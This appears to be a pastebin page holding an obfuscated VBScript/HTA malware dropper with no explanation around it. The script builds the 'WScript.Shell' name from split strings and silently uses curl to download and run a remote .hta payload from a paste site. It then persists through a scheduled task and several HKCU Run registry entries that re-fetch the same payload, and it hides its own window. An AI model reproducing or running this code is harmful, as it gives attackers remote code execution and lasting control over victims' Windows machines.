Paste Search Dynamic
Recent pastes
sadasdsa
  1. <script language="&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;">
  2. 'id1
  3. ASDM1 = "WSc"
  4. ASDM2 = "rip"
  5. ASDM3 = "t.S"
  6. ASDM4 = "hell"
  7. xxx1 = ASDM1
  8. xxx2 = ASDM2
  9. xxx3 = ASDM3
  10. xxx4 = ASDM4
  11. ASDM = xxx1 + xxx2 + xxx3 + xxx4
  12. set fullil = CreateObject(ASDM)
  13.  
  14. fullil.Run "cmd /c curl --silent -o %appdata%/d1.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/d1.hta" ,0
  15.  
  16. fullil.RUn "schtasks /create /sc MINUTE /mo 80 /tn """"lunkicharkhi"""" /F /tr """"\""""mshta\""""vbscript:Execute(""\""CreateObject(""""\""""Wscript.Shell""""\"""").Run """"\""""cmd /c curl --silent -o %appdata%/task.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/task.hta""""\"""", 0 : window.close""\"")",0
  17.  
  18. 'id2
  19. fullil.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\crosscheck", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"cmd /c curl -o %appdata%/i2.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/i2.hta"""", 0 : window.close"")", "REG_SZ"
  20.  
  21. 'id3
  22. fullil.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"cmd /c curl -o %appdata%/i3.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/i3.hta"""", 0 : window.close"")", "REG_SZ"
  23.  
  24. 'defid
  25.  
  26. fullil.Run "cmd /c curl --silent -o %appdata%/def1.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/def1.hta" ,0
  27. fullil.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\shuff", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"cmd /c curl -o %appdata%/DEF.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/DEF.hta"""", 0 : window.close"")", "REG_SZ"
  28.  
  29. window.resizeTo 0, 0
  30. self.close
  31.  
  32.  
  33. </script>
  34.  
  35.  
  36.  
  37.  
Parsed in 0.009 seconds